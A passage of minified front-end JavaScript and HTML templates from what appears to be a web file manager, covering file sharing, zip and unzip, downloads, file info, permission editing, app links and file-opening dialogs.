d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?d():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:d,cancel:!0}) +}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var n="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.self_share=e.info;var i={path:t,type:n,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(n),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==n&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),n=template.compile(i),a=n({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:a});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var n=e.type;"folder"==e.type&&(n=1==e.code_read?"code_read":"folder");var a=G.app_host+"index.php?share/"+n+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(a),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var n=i.createTextRange();n.moveEnd("character",-i.value.length),n.moveEnd("character",t),n.moveStart("character",0),n.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,n,a){if(console.log(e,t,i,n,a),!(1>e.length)){var o,s=G.my_desktop;n&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof a&&a(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),n=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var a=urlEncode(n+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+a,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var n="info";1==t.length&&(n="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(a(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var a="path_info_more",o=LNG.info;1==t.length&&(a="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[a]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(n),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var n=i.find(".file_md5_loading");if(1==n.length){var o=a(t);o+="&get_md5=1",core.fileInfo(o,function(e){n.removeClass("file_md5_loading"),e.code?n.html(e.data.file_md5):n.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:a(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),t+="&access_token="+G.access_token,$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},L=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},N=function(e,t,i){if(e){var n=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},a="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(a+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){a+="&path_to="+e,n(a)}):n(a)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},z=function(e,t,i,n){t&&(void 0==n&&(n=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var n=40,a=0;e.length>a;a++){var o=e[a],s=o.path;s=n>s.length?s:"..."+s.substr(-n),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var n=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(n(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:n,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,n){var a,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==n&&(n="user_edit"),"root_edit"==n&&(t=t),"user_edit"==n||"root_edit"==n?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(a)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(a);switch(n){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==n||"root_add"==n){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),a=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&a.find("option").eq(t.group).attr("selected",1),a.find(".aui_content").css("overflow","inherit"),n){case"user_edit":a.find(".name").addClass("hidden"),a.find(".desc").addClass("hidden"),a.find(".group").addClass("hidden"),a.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":a.find(".desc").addClass("hidden"),a.find(".group").addClass("hidden"),a.find("[apptype=url]").attr("checked",!0),a.find("[data-type=url] input[name=resize]").attr("checked",!0),a.find("input[name=width]").attr("value","800"),a.find("input[name=height]").attr("value","600"),a.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":a.find("[apptype=url]").attr("checked",!0),a.find("[data-type=url] input[name=resize]").attr("checked",!0),a.find("input[name=width]").attr("value","800"),a.find("input[name=height]").attr("value","600"),a.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":a.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(a)},O=function(){core.appStore()},A=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var n={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},a=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+a,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(n))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:O,appAddURL:A,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),n=i.find("string").text();window.open(n)}catch(a){s(e)}}),void 0;if("html"==t||"htm"==t){var n=core.path2url(e);return core.openDialog(n,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var n=e;return-1==n.indexOf("http:")&&(n=core.path2url(n)),MaskView.image(n),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var n=core.path2url(e,!1);return p([{url:n,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var a=core.path2url(e),n="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(a);if(canvasSupport()){var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+a+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),PDFObject.embed(a,"#"+o)}else core.openDialog(n,core.icon(t),htmlEncode(core.pathThis(e)))}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},n=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},a=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),n(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,n=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(n=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},n)}else{var a="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(a="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(a,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 